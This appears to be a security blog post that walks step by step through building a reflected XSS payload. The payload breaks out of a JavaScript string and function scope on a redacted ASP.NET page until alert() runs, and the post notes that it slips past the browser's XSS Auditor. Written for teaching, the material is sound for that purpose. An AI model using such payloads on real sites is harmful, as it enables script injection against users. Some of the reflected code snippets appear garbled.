HTML injection vulnerabilities make a great Voigt-Kampff test for proving you care about security. We need some kind of tool to deal with developers who take refuge in the excuse, “But it’s not exploitable.”
Companies like MasterCard and VISA created the PCI standard to make sure web sites care about vulns like XSS. Parts of the standard are pretty strict, to the point where a site faces fines or becomes unable to process credit cards if it fails to fix vulns
quickly. This also means that every once in a while a site’s developers refuse to acknowledge a vuln is valid because they don’t see an
<code>alert()</code> pop up.
The poor dears.
(1) Probe for Reflected Values
Let’s examine Exhibit One: A Means of Writing Arbitrary Mark-up into a Page. In this case, the URL parameter’s value is written into a JavaScript string variable called
<code>pageUrl</code>. HTML injection doesn’t get much easier than this.
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27
The code now has an extra apostrophe hanging out at the end of <code>pageUrl</code>:
<code>function</code> <code>SetLanCookie() {</code>
<code> </code><code>var</code>
<code>index = document.getElementById(</code><code>'selectorControl'</code><code>).selectedIndex;</code>
<code>lcname = document.getElementById(</code><code>'selectorControl'</code><code>).options[index].value;</code>
<code>pageUrl =</code><code>'/SomePage.aspx?ACCESS_ERRORCODE=a'</code><code>';</code>
<code> </code><code>if</code><code>(pageUrl.toLowerCase() ==</code><code>'/OtherPage.aspx'</code><code>.toLowerCase()){</code>
<code> </code><code>var</code>
<code>hflanguage = document.getElementById(getClientId().HfLanguage);</code>
<code> </code><code>hflanguage.value = </code><code>'1'</code><code>;</code>
<code> </code><code>}</code>
<code> </code><code>$.cookie(</code><code>'LanCookie'</code><code>, lcname, {path:</code><code>'/'</code><code>});</code>
<code> </code><code>__doPostBack(</code><code>'__Page_btnLanguageLink'</code><code>,</code><code>''</code><code>)</code>
<code>}</code>
But when the devs go to check the vuln, they show that it’s not possible to issue an
<code>alert()</code>. For example, they update the payload with something like this:
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27;alert(9)//
None of the variations on the payload seem to work. They terminated the string properly. The value gets reflected. But nothing results in JavaScript execution.
(2) Break Out of One Context, Break Another
It’s too bad our developers didn’t take the time to, you know, debug the problem. After all, HTML injection attacks are a coding exercise like any other. (Although perhaps a bit more fun.)
For starters, our payload is reflected inside a JavaScript function scope. Maybe the
<code>SetLanCookie()</code> function just isn’t being called within the page? That would explain why the
<code>alert()</code> never runs. A reasonable step is to close the function with a curly brace and dangle a naked
<code>alert()</code> within the script block.
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=%27
The following code confirms that the site still reflects the payload. However, our browser still isn’t visited by the expected pop-up.
<code>pageUrl =</code><code>'/SomePage.aspx?ACCESS_ERRORCODE=a'</code><code>}alert(9);</code><code>var</code>
<code>a=</code><code>''</code><code>;</code>
But browsers have Developer Consoles and Error Consoles that print friendly messages about their activity. Taking a peek at the console output reveals why we haven’t yet succeeded in tossing up the
<code>alert()</code> box. The script block still contains syntax errors. And unhappy syntax makes an unhappy hacker. (And a lazy one.)
(3) Capture the Function Body
When we remember to terminate the JavaScript string, we must also remember to capture the syntax that follows the payload. In some cases, you can get away with escaping it with
<code>//</code> characters. If you look at the previous code, you’ll notice that we also tried to re-capture the remainder of the string with
<code>;var a ='</code> inside the payload.
What needs to be done is re-capture the dangling function body. This is why you should know the JavaScript language rather than just memorize payloads. It’s not hard to fix this attack, just update the payload with an opening function statement, as below:
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;function%28%29{var%20a=%27
The page reflects the payload once again, as shown in the following code. Spaces and carriage returns have been added to make the example easier to read. They’re unnecessary in the wild (you can minify XSS payloads, too).
<code>pageUrl =</code><code>'/SomePage.aspx?ACCESS_ERRORCODE=a'</code>
<code>alert(9);</code>
<code>function</code><code>(){</code>
Almost there. But the pop-up remains elusive.
(4) Var Your Function
Oops. We created a function, but forgot to name it. Normally, JavaScript doesn’t care about explicit names, but it at least needs a scope for unnamed, anonymous functions. For example, the following syntax creates and executes an anonymous function that
generates an <code>alert</code>:
<code>(</code><code>function</code><code>(){alert(9)})()</code>
We don’t need to be that fancy, but it’s nice to remember our options. In this case, we’ll assign the function to another
<code>var</code>. Happy syntax is executing syntax. And executing syntax kills a site’s security.
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=function%28%29{var%20a=%27
Finally, we reach a point where the payload inserts an <code>alert()</code> and modifies the surrounding JavaScript context so the browser has nothing to complain about. In fact, the payload is convoluted enough that it doesn’t trigger the browser’s XSS
Auditor. (Which you shouldn’t be relying on, anyway. I mention it as a point of trivia.) Behold the fully exploited page, with spaces added for clarity:
<code>var</code> <code>a =</code>
<code>a =</code><code>''</code><code>;</code>
I wish we could have gotten rid of XSS and SQL injection long ago. I’ve written